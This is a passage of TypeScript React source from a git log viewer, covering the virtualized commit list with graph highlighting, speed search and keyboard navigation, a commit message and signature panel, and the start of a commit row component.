...(opts.showGitHubChecks && ChecksCell
|
||||
? [
|
||||
{
|
||||
id: "github-checks",
|
||||
title: "GitHub Commit Checks",
|
||||
width: 44,
|
||||
render: (c: Commit) => {
|
||||
const root = commitRepo(c) ?? currentRepoRoot();
|
||||
return root && !(c as RepoCommit).readOnly ? <ChecksCell root={root} revision={c.id} /> : null;
|
||||
},
|
||||
},
|
||||
]
|
||||
: []),
|
||||
];
|
||||
const order = [...new Set([...opts.columnOrder, ...builtins.map((c) => c.id)])];
|
||||
return builtins.sort((a, b) => order.indexOf(a.id) - order.indexOf(b.id));
|
||||
}, [
|
||||
opts.showAuthor,
|
||||
opts.showDate,
|
||||
opts.showHash,
|
||||
opts.showSignature,
|
||||
opts.showGitHubChecks,
|
||||
opts.commitTimestamp,
|
||||
opts.columnOrder,
|
||||
ChecksCell,
|
||||
]);
|
||||
const user = useGitLog((s) => s.user);
|
||||
const headCommit = useVcs((s) => s.branch?.headCommit ?? null);
|
||||
const branches = useVcs((s) => s.branches);
|
||||
const remoteNames = useMemo(() => new Set(branches.filter((b) => b.remote).map((b) => b.name)), [branches]);
|
||||
// Date, No Merges and First Parent are applied by the backend with parent rewriting,
|
||||
// so the graph stays connected under them.
|
||||
const heads = useVcs((s) => s.heads);
|
||||
const headKeys = useMemo(
|
||||
() =>
|
||||
new Set(
|
||||
all
|
||||
.filter(
|
||||
(c) => c.refs.includes("HEAD") || c.id === (commitRepo(c) ? heads[commitRepo(c)!]?.headCommit : headCommit),
|
||||
)
|
||||
.map(commitKey),
|
||||
),
|
||||
[all, heads, headCommit],
|
||||
);
|
||||
const keep = useMemo(
|
||||
() =>
|
||||
opts.collapseLinear || fragments.collapsed.size
|
||||
? new Set([...headKeys, ...selection, ...Object.keys(bookmarks)])
|
||||
: null,
|
||||
[opts.collapseLinear, fragments.collapsed, headKeys, selection, bookmarks],
|
||||
);
|
||||
const {
|
||||
commits,
|
||||
rows,
|
||||
linear,
|
||||
collapsed,
|
||||
graph: displayedGraph,
|
||||
} = useMemo(() => presentLogGraph(all, opts, fragments, keep ?? new Set()), [all, opts, fragments, keep]);
|
||||
const { edges: highlighted, nodes: highlightedNodes } = useMemo(() => {
|
||||
const empty = { edges: new Set<string>(), nodes: new Set<string>() };
|
||||
if (!hoverColor) return empty;
|
||||
const nodeId = hoverColor.startsWith("node:") ? hoverColor.slice(5) : null;
|
||||
const merge = nodeId ?? linear?.fragments.get(hoverColor);
|
||||
const fragment = merge ? linear?.nodes.get(merge) : null;
|
||||
const nodes = new Set(fragment);
|
||||
if (!fragment) {
|
||||
const source = nodeId
|
||||
? displayedGraph.find((c) => c.id === nodeId)
|
||||
: displayedGraph.find((c) => c.parents.some((p) => `${c.id}\0${p}` === hoverColor));
|
||||
const target = source?.parents.find((p) => nodeId || `${source.id}\0${p}` === hoverColor);
|
||||
if (source) nodes.add(source.id);
|
||||
const byId = new Map(displayedGraph.map((c) => [c.id, c]));
|
||||
const children = new Map<string, number>();
|
||||
for (const c of displayedGraph) for (const p of c.parents) children.set(p, (children.get(p) ?? 0) + 1);
|
||||
for (let current = target; current && !nodes.has(current);) {
|
||||
nodes.add(current);
|
||||
const c = byId.get(current);
|
||||
if (!c || c.parents.length !== 1 || children.get(current) !== 1 || c.refs?.length || headKeys.has(current))
|
||||
break;
|
||||
current = c.parents[0];
|
||||
}
|
||||
}
|
||||
return {
|
||||
nodes,
|
||||
edges: new Set(
|
||||
displayedGraph.flatMap((c) =>
|
||||
nodes.has(c.id) ? c.parents.filter((p) => nodes.has(p)).map((p) => `${c.id}\0${p}`) : [],
|
||||
),
|
||||
),
|
||||
};
|
||||
}, [hoverColor, linear, displayedGraph, headKeys]);
|
||||
const minWidth = useMemo(
|
||||
() =>
|
||||
rows.reduce((width, row) => Math.max(width, row.width * LANE), 100) +
|
||||
columns.reduce(
|
||||
(width, column) => width + (opts.columnWidths[column.id] ?? column.width ?? 120),
|
||||
opts.showRepository && useVcs.getState().roots.length > 1 ? 220 : 120,
|
||||
),
|
||||
[rows, columns, opts.columnWidths, opts.showRepository],
|
||||
);
|
||||
const filterBranches = useGitLog((s) => s.filters.branches);
|
||||
const currentBranch = useVcs((s) => s.branch?.head ?? null);
|
||||
// Nothing to tell apart when the log is filtered to the current branch.
|
||||
const onlyCurrent = filterBranches.length > 0 && filterBranches.every((b) => b === "HEAD" || b === currentBranch);
|
||||
const onBranch = useMemo(() => {
|
||||
if (!opts.highlightCurrentBranch || onlyCurrent) return null;
|
||||
const reach = all.some((c) => c.onCurrentBranch == null)
|
||||
? reachableFrom(all.map(graphCommit), headKeys)
|
||||
: new Set<string>();
|
||||
for (const c of all) {
|
||||
if (c.onCurrentBranch === true) reach.add(commitKey(c));
|
||||
else if (c.onCurrentBranch === false) reach.delete(commitKey(c));
|
||||
}
|
||||
return reach;
|
||||
}, [all, headKeys, opts.highlightCurrentBranch, onlyCurrent]);
|
||||
const loading = useGitLog((s) => s.loading);
|
||||
const done = useGitLog((s) => s.done);
|
||||
const error = useGitLog((s) => s.error);
|
||||
const selected = useGitLog((s) => s.selected);
|
||||
const selectedSet = useMemo(() => new Set(selection), [selection]);
|
||||
const revealTick = useGitLog((s) => s.revealTick);
|
||||
const scrollRef = useRef<HTMLDivElement>(null);
|
||||
const selectedIndex = useMemo(
|
||||
() => (selected ? commits.findIndex((c) => commitKey(c) === selected) : -1),
|
||||
[commits, selected],
|
||||
);
|
||||
const lastRevealed = useRef(0);
|
||||
// Recycled rows can emit enter events without the pointer moving.
|
||||
const hoverPointer = useRef<{ x: number; y: number } | null>(null);
|
||||
const previousRows = useRef(commits);
|
||||
useLayoutEffect(() => {
|
||||
const element = scrollRef.current;
|
||||
const previous = previousRows.current;
|
||||
previousRows.current = commits;
|
||||
if (!element || previous === commits || (revealTick !== lastRevealed.current && selectedIndex >= 0)) return;
|
||||
const top = Math.max(0, Math.floor((element.scrollTop - ROW) / ROW));
|
||||
// Preserve the first surviving visible commit and its pixel offset.
|
||||
for (let i = top; i < previous.length; i++) {
|
||||
const next = commits.findIndex((c) => commitKey(c) === commitKey(previous[i]!));
|
||||
if (next < 0) continue;
|
||||
element.scrollTop += (next - i) * ROW;
|
||||
break;
|
||||
}
|
||||
}, [commits, revealTick, selectedIndex]);
|
||||
const finished = done;
|
||||
const virtualizer = useVirtualizer({
|
||||
count: commits.length + (finished ? 0 : 1),
|
||||
getScrollElement: () => scrollRef.current,
|
||||
estimateSize: () => ROW,
|
||||
overscan: 8,
|
||||
scrollMargin: ROW,
|
||||
});
|
||||
const items = virtualizer.getVirtualItems();
|
||||
const last = items[items.length - 1];
|
||||
|
||||
// The next page is requested while a page of rows is still ahead, so scrolling
|
||||
// quickly doesn't reach the end before `git log` answers.
|
||||
useEffect(() => {
|
||||
if (!finished && !loading && last && last.index >= commits.length - PAGE) void loadMore(scope ?? undefined);
|
||||
}, [last, commits.length, finished, loading, active, scope]);
|
||||
|
||||
useLayoutEffect(() => {
|
||||
if (revealTick === lastRevealed.current || selectedIndex < 0) return;
|
||||
lastRevealed.current = revealTick;
|
||||
virtualizer.scrollToIndex(selectedIndex, { align: "center" });
|
||||
}, [revealTick, selectedIndex, virtualizer]);
|
||||
|
||||
const visible = useRef(commits);
|
||||
visible.current = commits;
|
||||
const pick = useCallback((id: string, e: ReactMouseEvent) => {
|
||||
if (e.button === 2) {
|
||||
if (!useGitLog.getState().selection.includes(id)) selectCommit(id);
|
||||
} else if (e.button !== 0) return;
|
||||
else if (e.shiftKey) extendCommitSelection(id, visible.current);
|
||||
else if (e.metaKey || e.ctrlKey) toggleCommitSelection(id);
|
||||
else selectCommit(id);
|
||||
}, []);
|
||||
// CommitRow is memoized: rows get handlers that stay the same across renders and
|
||||
// call this render's (assigned before rendering).
|
||||
const rowEvents = useRef<RowEvents | null>(null);
|
||||
const rowHandlers = useMemo<RowEvents>(
|
||||
() => ({
|
||||
onHover: (edge) => rowEvents.current?.onHover(edge),
|
||||
onFragment: (from, target, expand) => rowEvents.current?.onFragment(from, target, expand),
|
||||
onNavigate: (index, key) => rowEvents.current?.onNavigate(index, key),
|
||||
}),
|
||||
[],
|
||||
);
|
||||
// Called while a row renders its graph, so it changes with what it reads.
|
||||
const targetTitle = useCallback(
|
||||
(index: number, key?: string) => {
|
||||
const target = commits[index];
|
||||
return target
|
||||
? `${target.shortId} ${target.summary} — ${target.author}`
|
||||
: (key && boundaryTitles.get(key)) ||
|
||||
`${tx("Commit is outside the loaded history")} · ${key?.split("\0").at(-1)?.slice(0, 8) ?? ""}`;
|
||||
},
|
||||
[commits, boundaryTitles],
|
||||
);
|
||||
|
||||
const onKeyDown = (e: KeyboardEvent) => {
|
||||
if (!e.ctrlKey && !e.metaKey && !e.altKey && (e.key.length === 1 || e.key === "Backspace" || e.key === "Escape")) {
|
||||
const query = e.key === "Escape" ? "" : e.key === "Backspace" ? speedSearch.slice(0, -1) : speedSearch + e.key;
|
||||
setSpeedSearch(query);
|
||||
speedGeneration.current++;
|
||||
clearTimeout(speedTimer.current);
|
||||
speedTimer.current = setTimeout(() => setSpeedSearch(""), 1500);
|
||||
if (query) {
|
||||
const found = nextSpeedMatch(commits, query, opts, -1);
|
||||
if (found >= 0) {
|
||||
selectCommit(commitKey(commits[found]!), true);
|
||||
virtualizer.scrollToIndex(found, { align: "auto" });
|
||||
} else if (query.length >= 2) {
|
||||
const generation = ++speedGeneration.current;
|
||||
const roots = [...new Set(all.map(commitRepo))];
|
||||
void Promise.all(
|
||||
roots.map(async (repo) => {
|
||||
const [hit] = await call(
|
||||
commands.vcsLog(repo ?? currentRepo(), {
|
||||
skip: 0,
|
||||
limit: 1,
|
||||
summaryOnly: true,
|
||||
speedSearch: query,
|
||||
searchFields: [...(opts.showAuthor ? ["author"] : []), ...(opts.showHash ? ["hash"] : [])],
|
||||
branch: null,
|
||||
path: null,
|
||||
author: null,
|
||||
text: null,
|
||||
}),
|
||||
);
|
||||
return hit ? { ...hit, repo } : null;
|
||||
}),
|
||||
)
|
||||
.then((hits) => {
|
||||
const hit = hits.find(Boolean);
|
||||
if (hit && speedGeneration.current === generation) void goToRef(hit.id, commitRepo(hit));
|
||||
})
|
||||
.catch(() => undefined);
|
||||
}
|
||||
}
|
||||
e.preventDefault();
|
||||
return;
|
||||
}
|
||||
if (speedSearch && (e.key === "F3" || e.key === "Enter")) {
|
||||
e.preventDefault();
|
||||
const found = nextSpeedMatch(commits, speedSearch, opts, selectedIndex, e.shiftKey ? -1 : 1);
|
||||
if (found >= 0) selectCommit(commitKey(commits[found]!), true);
|
||||
return;
|
||||
}
|
||||
const lead = selectedIndex >= 0 ? commits[selectedIndex] : undefined;
|
||||
if (lead && (e.key === "ArrowLeft" || e.key === "ArrowRight") && !e.altKey && !e.metaKey && !e.ctrlKey) {
|
||||
e.preventDefault();
|
||||
if (e.key === "ArrowLeft") goToChild(lead);
|
||||
else void goToParent(lead);
|
||||
return;
|
||||
}
|
||||
let next: number;
|
||||
if (e.key === "ArrowDown") next = Math.min(commits.length - 1, selectedIndex + 1);
|
||||
else if (e.key === "ArrowUp") next = Math.max(0, selectedIndex - 1);
|
||||
else if (e.key === "Home") next = 0;
|
||||
else if (e.key === "End") next = commits.length - 1;
|
||||
else if (e.key === "PageDown") next = Math.min(commits.length - 1, selectedIndex + 20);
|
||||
else if (e.key === "PageUp") next = Math.max(0, selectedIndex - 20);
|
||||
else return;
|
||||
e.preventDefault();
|
||||
const c = commits[next];
|
||||
if (c) {
|
||||
if (e.shiftKey) extendCommitSelection(commitKey(c), commits);
|
||||
else selectCommit(commitKey(c));
|
||||
virtualizer.scrollToIndex(next, { align: "auto" });
|
||||
}
|
||||
};
|
||||
|
||||
if (error && !commits.length) return <div className={styles.message}>{error}</div>;
|
||||
|
||||
const fragment = (from: string, target: string, expand: boolean) => {
|
||||
if (from === target && (expandedMerges.has("*") ? !expandedMerges.has(from) : expandedMerges.has(from))) {
|
||||
useGitLog.setState({
|
||||
fragments: {
|
||||
...fragments,
|
||||
merges: expandedMerges.has("*")
|
||||
? new Set([...expandedMerges, from])
|
||||
: new Set([...expandedMerges].filter((id) => id !== from)),
|
||||
},
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (
|
||||
from === target &&
|
||||
linear &&
|
||||
all.find((c) => commitKey(c) === from)?.parents.length === 2 &&
|
||||
linear.graph.find((c) => c.id === from)?.parents.length === 1
|
||||
) {
|
||||
useGitLog.setState({
|
||||
fragments: {
|
||||
...fragments,
|
||||
merges: expandedMerges.has("*")
|
||||
? new Set([...expandedMerges].filter((id) => id !== from))
|
||||
: new Set([...expandedMerges, from]),
|
||||
},
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (from === target) {
|
||||
const shown = (linear?.graph ?? collapsed?.graph ?? all.map(graphCommit)).find((c) => c.id === from);
|
||||
target = shown?.parents[0] ?? target;
|
||||
expand = !!shown?.dashed?.[0];
|
||||
}
|
||||
const merge = linear?.fragments.get(`${from}\0${target}`);
|
||||
if (merge) {
|
||||
useGitLog.setState({
|
||||
fragments: {
|
||||
...fragments,
|
||||
merges: expandedMerges.has("*")
|
||||
? new Set([...expandedMerges].filter((id) => id !== merge))
|
||||
: new Set([...expandedMerges, merge]),
|
||||
},
|
||||
});
|
||||
return;
|
||||
}
|
||||
const graph = new Map(
|
||||
all.map((c) => {
|
||||
const g = graphCommit(c);
|
||||
return [g.id, g] as const;
|
||||
}),
|
||||
);
|
||||
const childCounts = new Map<string, number>();
|
||||
for (const c of graph.values())
|
||||
for (const parent of c.parents) childCounts.set(parent, (childCounts.get(parent) ?? 0) + 1);
|
||||
const hidden: string[] = [];
|
||||
for (const start of expand ? (graph.get(from)?.parents ?? []) : [target]) {
|
||||
const chain: string[] = [];
|
||||
let current: string | undefined = start;
|
||||
const seen = new Set<string>();
|
||||
while (current && !seen.has(current)) {
|
||||
seen.add(current);
|
||||
const node = graph.get(current);
|
||||
if (
|
||||
!node ||
|
||||
(expand && current === target) ||
|
||||
node.parents.length !== 1 ||
|
||||
childCounts.get(current) !== 1 ||
|
||||
node.refs.length ||
|
||||
headKeys.has(current)
|
||||
)
|
||||
break;
|
||||
chain.push(current);
|
||||
current = node.parents[0];
|
||||
}
|
||||
if (!expand || current === target) hidden.push(...chain);
|
||||
}
|
||||
if (expand) {
|
||||
useGitLog.setState({
|
||||
fragments: {
|
||||
...fragments,
|
||||
expanded: new Set([...expandedFragments, ...hidden]),
|
||||
collapsed: new Set([...collapsedFragments].filter((id) => !hidden.includes(id))),
|
||||
},
|
||||
});
|
||||
} else {
|
||||
useGitLog.setState({
|
||||
fragments: {
|
||||
...fragments,
|
||||
expanded: new Set([...expandedFragments].filter((id) => !hidden.includes(id))),
|
||||
collapsed: new Set([...collapsedFragments, ...hidden]),
|
||||
},
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
rowEvents.current = {
|
||||
onHover: (edge) => {
|
||||
if (
|
||||
edge === hoverColor ||
|
||||
(edge && (virtualizer.isScrolling || scrollRef.current?.hasAttribute("data-hover-paused")))
|
||||
)
|
||||
return;
|
||||
setHoverColor(edge);
|
||||
if (!edge) return;
|
||||
const source = displayedGraph.find((c) => c.parents.some((p) => `${c.id}\0${p}` === edge));
|
||||
const target = source?.parents.find((p) => `${source.id}\0${p}` === edge);
|
||||
if (!source || !target || commits.some((c) => commitKey(c) === target) || boundaryRequests.current.has(target))
|
||||
return;
|
||||
const original = all.find((c) => commitKey(c) === source.id);
|
||||
if (!original) return;
|
||||
boundaryRequests.current.add(target);
|
||||
const split = target.lastIndexOf("\0"),
|
||||
id = target.slice(split + 1);
|
||||
void loadLogDetails({ ...original, id })
|
||||
.then((details) =>
|
||||
setBoundaryTitles((current) =>
|
||||
new Map(current).set(target, `${id.slice(0, 8)} ${details.message.split("\n")[0]}`),
|
||||
),
|
||||
)
|
||||
.catch(() => undefined);
|
||||
},
|
||||
onFragment: fragment,
|
||||
onNavigate: (index, key) => {
|
||||
const target = commits[index];
|
||||
if (target) selectCommit(commitKey(target), true);
|
||||
else if (key) {
|
||||
const split = key.lastIndexOf("\0");
|
||||
void goToRef(key.slice(split + 1), split >= 0 ? key.slice(0, split) : currentRepo());
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
return (
|
||||
<div className={styles.listWrap}>
|
||||
{earlier && (
|
||||
<button type="button" disabled={loading} onClick={() => void loadNewer(scope ?? undefined)}>
|
||||
{tx("Load Newer Commits")}
|
||||
</button>
|
||||
)}
|
||||
{speedSearch && (
|
||||
<div role="status" className={styles.speedSearch}>
|
||||
{speedSearch}
|
||||
</div>
|
||||
)}
|
||||
{error && (
|
||||
<div role="alert" className={styles.message}>
|
||||
{error}
|
||||
</div>
|
||||
)}
|
||||
<Scrollbar target={scrollRef} contentHeight={virtualizer.getTotalSize()} />
|
||||
<div
|
||||
ref={scrollRef}
|
||||
className={clsx(styles.list, hideNativeScrollbar)}
|
||||
role="listbox"
|
||||
aria-label={tx("Commits")}
|
||||
aria-multiselectable
|
||||
aria-activedescendant={selectedIndex >= 0 ? `commit-${scope ?? "log"}-${selectedIndex}` : undefined}
|
||||
tabIndex={0}
|
||||
onFocusCapture={() => setContext("vcsLogRevisionFocus", !!active && !!fileHistoryTarget)}
|
||||
onBlurCapture={(e) => {
|
||||
if (!e.currentTarget.contains(e.relatedTarget as Node | null)) setContext("vcsLogRevisionFocus", false);
|
||||
}}
|
||||
onScroll={(e) => {
|
||||
if (!e.currentTarget.hasAttribute("data-hover-paused")) e.currentTarget.dataset.hoverPaused = "";
|
||||
setHoverColor(null);
|
||||
}}
|
||||
onPointerMoveCapture={(e) => {
|
||||
const previous = hoverPointer.current;
|
||||
hoverPointer.current = { x: e.clientX, y: e.clientY };
|
||||
if (!virtualizer.isScrolling && (!previous || previous.x !== e.clientX || previous.y !== e.clientY))
|
||||
delete e.currentTarget.dataset.hoverPaused;
|
||||
}}
|
||||
onPointerLeave={(e) => {
|
||||
hoverPointer.current = { x: e.clientX, y: e.clientY };
|
||||
}}
|
||||
onKeyDown={onKeyDown}
|
||||
onCopy={(e) => {
|
||||
if (window.getSelection()?.toString()) return;
|
||||
const selected = commits.filter((c) => selectedSet.has(commitKey(c)));
|
||||
if (!selected.length) return;
|
||||
e.preventDefault();
|
||||
e.clipboardData.setData(
|
||||
"text/plain",
|
||||
selected
|
||||
.map((c) =>
|
||||
[
|
||||
c.summary,
|
||||
c.refs.join(" "),
|
||||
...(opts.showRepository ? [commitRepo(c) ?? ""] : []),
|
||||
...columns.map((column) => (typeof column.render(c) === "string" ? column.render(c) : "")),
|
||||
].join("\t"),
|
||||
)
|
||||
.join("\n"),
|
||||
);
|
||||
e.clipboardData.setData(
|
||||
"application/x-openidea-vcs-commits",
|
||||
JSON.stringify({ version: 1, commits: selected.map((c) => ({ root: commitRepo(c), hash: c.id })) }),
|
||||
);
|
||||
}}
|
||||
>
|
||||
{opts.showColumnHeaders && <ColumnHeaders columns={columns} options={opts} minWidth={minWidth} />}
|
||||
{!commits.length && !loading && finished && (
|
||||
<div className={styles.message}>{headCommit ? tx("No commits match the filters") : tx("No commits yet")}</div>
|
||||
)}
|
||||
<div style={{ height: virtualizer.getTotalSize(), position: "relative", minWidth }}>
|
||||
{items.map((v) => {
|
||||
const c = commits[v.index];
|
||||
if (!c)
|
||||
return (
|
||||
<div key="loading" className={styles.row} style={{ top: v.start - ROW }}>
|
||||
<Spinner size={12} />{" "}
|
||||
<span className={styles.muted}>
|
||||
<T>Loading…</T>
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
return (
|
||||
<CommitRow
|
||||
// Keyed by slot, not commit: a scrollbar drag that jumps past every mounted
|
||||
// row then updates the same DOM nodes instead of rebuilding them.
|
||||
key={v.index % items.length}
|
||||
id={`commit-${scope ?? "log"}-${v.index}`}
|
||||
commit={c}
|
||||
fileHistoryTarget={fileHistoryTarget}
|
||||
graph={rows[v.index]}
|
||||
top={v.start - ROW}
|
||||
selected={selectedSet.has(commitKey(c))}
|
||||
head={headKeys.has(commitKey(c))}
|
||||
mine={opts.highlightMine && isMine(c, user)}
|
||||
onBranch={!!onBranch?.has(commitKey(c))}
|
||||
opts={opts}
|
||||
remoteNames={rowRemoteNames((c as RepoCommit).remoteNames, remoteNames)}
|
||||
onPick={pick}
|
||||
hoverColor={hoverColor}
|
||||
highlighted={highlighted}
|
||||
highlightedNodes={highlightedNodes}
|
||||
onHover={rowHandlers.onHover}
|
||||
onFragment={rowHandlers.onFragment}
|
||||
onNavigate={rowHandlers.onNavigate}
|
||||
targetTitle={targetTitle}
|
||||
columns={columns}
|
||||
bookmarked={!!bookmarks[commitKey(c)]}
|
||||
interactive={!virtualizer.isScrolling}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
import type { Commit } from "@/bindings";
|
||||
import { writeClipboardText } from "@/platform/clipboard";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import clsx from "clsx";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { IssueText } from "../issueLinks";
|
||||
import { useCommitDetails } from "../logDetails";
|
||||
import { refLabels } from "../logOptions";
|
||||
import { goToRef } from "../logStore";
|
||||
import { commitRepo } from "../multiRoot";
|
||||
import { currentRepo } from "../store";
|
||||
|
||||
const REF_KIND_CLASS = {
|
||||
head: styles.refHead,
|
||||
local: styles.refLocal,
|
||||
remote: styles.refRemote,
|
||||
tag: styles.refTag,
|
||||
};
|
||||
|
||||
const NO_REMOTES: ReadonlySet<string> = new Set();
|
||||
|
||||
export function RefLabels({
|
||||
refs,
|
||||
compact = false,
|
||||
tagNames = true,
|
||||
remoteNames = NO_REMOTES,
|
||||
left = false,
|
||||
}: {
|
||||
refs: string[];
|
||||
compact?: boolean;
|
||||
tagNames?: boolean;
|
||||
remoteNames?: ReadonlySet<string>;
|
||||
left?: boolean;
|
||||
}) {
|
||||
const labels = refLabels(refs, { compact, tagNames }, remoteNames);
|
||||
return (
|
||||
<span className={clsx(styles.refs, left && styles.refsLeft)}>
|
||||
{labels.map((l) => (
|
||||
<span key={`${l.kind}:${l.title}`} className={clsx(styles.ref, REF_KIND_CLASS[l.kind])} title={l.title}>
|
||||
{l.text}
|
||||
</span>
|
||||
))}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
/** A commit's message and metadata; `compact` (one of several selected): without the body. */
|
||||
export function CommitMessage({ commit, compact = false }: { commit: Commit; compact?: boolean }) {
|
||||
const { details, error } = useCommitDetails(commit, !compact);
|
||||
const repo = commitRepo(commit) ?? currentRepo();
|
||||
const message = details?.message || commit.message;
|
||||
const [subject, ...bodyLines] = message.replace(/\s+$/, "").split("\n");
|
||||
const body = compact ? "" : bodyLines.join("\n").replace(/^\n+/, "");
|
||||
return (
|
||||
<div className={clsx(compact && styles.commitEntry)}>
|
||||
<div className={styles.subjectLine}>
|
||||
<CommitMessageText text={subject ?? ""} repo={repo} />
|
||||
</div>
|
||||
{body && (
|
||||
<div className={styles.fullMessage}>
|
||||
<CommitMessageText text={body} repo={repo} />
|
||||
</div>
|
||||
)}
|
||||
<div className={clsx(styles.meta, compact && styles.metaCompact)}>
|
||||
<button
|
||||
type="button"
|
||||
className={clsx(styles.linkButton, styles.hash)}
|
||||
title={tx("Copy revision number")}
|
||||
onClick={() => void writeClipboardText(commit.id)}
|
||||
>
|
||||
{commit.shortId}
|
||||
</button>{" "}
|
||||
{commit.author} <{commit.email}>
|
||||
{commit.timeMs ? " " + tx`on ${new Date(commit.timeMs).toLocaleString()}` : ""}
|
||||
</div>
|
||||
{!compact &&
|
||||
commit.committer &&
|
||||
(commit.committer !== commit.author ||
|
||||
commit.committerEmail !== commit.email ||
|
||||
commit.commitTimeMs !== commit.timeMs) && (
|
||||
<div className={styles.meta}>
|
||||
{tx("Committed by")} {commit.committer} <{commit.committerEmail}>{" "}
|
||||
{commit.commitTimeMs ? new Date(commit.commitTimeMs).toLocaleString() : ""}
|
||||
</div>
|
||||
)}
|
||||
{commit.parents.length > 0 && (
|
||||
<div className={styles.meta}>
|
||||
{tx(commit.parents.length > 1 ? "Merge of" : "Parent")}{" "}
|
||||
{commit.parents.map((id, i) => (
|
||||
<span key={id}>
|
||||
{i > 0 ? ", " : ""}
|
||||
<button type="button" className={styles.linkButton} onClick={() => void goToRef(id, repo)}>
|
||||
{id.slice(0, 8)}
|
||||
</button>
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{details && (
|
||||
<>
|
||||
<div className={styles.meta}>
|
||||
{tx("Containing branches")}:{" "}
|
||||
{details.containingBranches.length
|
||||
? details.containingBranches.map((branch, i) => (
|
||||
<span key={branch}>
|
||||
{i > 0 ? ", " : ""}
|
||||
<button type="button" className={styles.linkButton} onClick={() => void goToRef(branch, repo)}>
|
||||
{branch}
|
||||
</button>
|
||||
</span>
|
||||
))
|
||||
: tx("None")}
|
||||
</div>
|
||||
<div
|
||||
className={styles.meta}
|
||||
title={[details.signer, details.key, details.fingerprint].filter(Boolean).join("\n")}
|
||||
>
|
||||
{tx("Signature")}: {signatureLabel(details.signature)}
|
||||
{details.signer ? ` · ${details.signer}` : ""}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
{error && (
|
||||
<div role="status" className={styles.meta}>
|
||||
{tx("Could not load containing branches or signature details")}
|
||||
</div>
|
||||
)}
|
||||
{commit.refs.length > 0 && (
|
||||
<div className={styles.meta}>
|
||||
<RefLabels refs={commit.refs} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function signatureLabel(code: string) {
|
||||
return tx(
|
||||
(
|
||||
{
|
||||
G: "Verified",
|
||||
U: "Good signature with unknown trust",
|
||||
B: "Bad signature",
|
||||
E: "Could not verify",
|
||||
N: "Unsigned",
|
||||
X: "Expired signature",
|
||||
Y: "Expired signing key",
|
||||
R: "Revoked signing key",
|
||||
} as Record<string, string>
|
||||
)[code] ?? "Could not verify",
|
||||
);
|
||||
}
|
||||
|
||||
export function CommitSignature({ commit }: { commit: Commit }) {
|
||||
const { details, error } = useCommitDetails(commit);
|
||||
return (
|
||||
<span title={details ? [details.signer, details.key, details.fingerprint].filter(Boolean).join("\n") : undefined}>
|
||||
{details ? signatureLabel(details.signature) : error ? tx("Could not verify") : tx("Loading…")}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function CommitMessageText({ text, repo }: { text: string; repo: string | null | undefined }) {
|
||||
return text.split(/\b([a-fA-F0-9]{7,64})\b/g).map((part, i) =>
|
||||
i % 2 ? (
|
||||
<button type="button" className={styles.linkButton} key={i} onClick={() => void goToRef(part, repo)}>
|
||||
{part}
|
||||
</button>
|
||||
) : (
|
||||
<IssueText key={i} text={part} />
|
||||
),
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
import type { Commit } from "@/bindings";
|
||||
import { Icon, Popup, TOOLTIP_DELAY, showContextMenu } from "@/ui";
|
||||
import clsx from "clsx";
|
||||
import { memo, useEffect, useRef, useState, type MouseEvent as ReactMouseEvent } from "react";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { type GraphRow } from "../graph";
|
||||
import { IssueText } from "../issueLinks";
|
||||
import { type LogOptions } from "../logOptions";
|
||||
import { selectedCommits } from "../logStore";
|
||||
import { commitKey, commitRepo } from "../multiRoot";
|
||||
import { repoName, useVcs } from "../store";
|
||||
import { CommitMessage, RefLabels } from "./CommitMessage";
|
||||
import { GraphCell } from "./GraphCell";
|
||||
import { commitMenu } from "./commitMenu";
|
||||
import { SUBJECT_COLUMN, columnSequence, type LogColumn } from "./shared";
|
||||
|
||||
function CommitRowView({
|
||||
id,
|
||||
commit: c,
|
||||
fileHistoryTarget,
|
||||
graph,
|
||||
top,
|
||||
selected,
|
||||
head,
|
||||
mine,
|
||||
onBranch,
|
||||
opts,
|
||||
remoteNames,
|
||||
onPick,
|
||||
hoverColor,
|
||||
highlighted,
|
||||
highlightedNodes,
|
||||
onHover,
|
||||
onFragment,
|
||||
onNavigate,
|
||||
targetTitle,
|
||||
columns,
|
||||
bookmarked,
|
||||
interactive,
|
||||
}: {
|
||||
id: string;
|
||||
commit: Commit;
|
||||
fileHistoryTarget: string | null;
|
||||
graph: GraphRow | undefined;
|
||||
top: number;
|
||||
selected: boolean;
|
||||
head: boolean;
|
||||
mine: boolean;
|
||||
onBranch: boolean;
|
||||
opts: LogOptions;
|
||||
remoteNames: ReadonlySet<string>;
|
||||
onPick: (id: string, e: ReactMouseEvent) => void;
|
||||
hoverColor: string | null;
|
||||
highlighted: ReadonlySet<string>;
|
||||
highlightedNodes: ReadonlySet<string>;
|
||||
onHover: (color: string | null) => void;
|
||||
onFragment: (from: string, target: string, expand: boolean) => void;
|
||||
onNavigate: (index: number, key?: string) => void;
|
||||
targetTitle: (index: number, key?: string) => string;
|
||||
columns: LogColumn[];
|
||||
bookmarked: boolean;
|
||||
/** False for rows rendered mid-scroll: their graph is drawn without hit targets. */
|
||||
interactive: boolean;
|
||||
}) {
|
||||
const merge = opts.highlightMerges && c.parents.length > 1;
|
||||
const subjectRef = useRef<HTMLSpanElement>(null);
|
||||
const [tooltip, setTooltip] = useState(false);
|
||||
const tooltipBody = useRef<HTMLDivElement>(null);
|
||||
const tooltipTimer = useRef<ReturnType<typeof setTimeout> | undefined>(undefined);
|
||||
useEffect(() => () => clearTimeout(tooltipTimer.current), []);
|
||||
useEffect(() => {
|
||||
if (!tooltip) return;
|
||||
// Scrolling the log moves the anchor away; scrolling a long message inside the card doesn't.
|
||||
const hide = (e: Event) => {
|
||||
const card = tooltipBody.current?.closest("[data-popup]");
|
||||
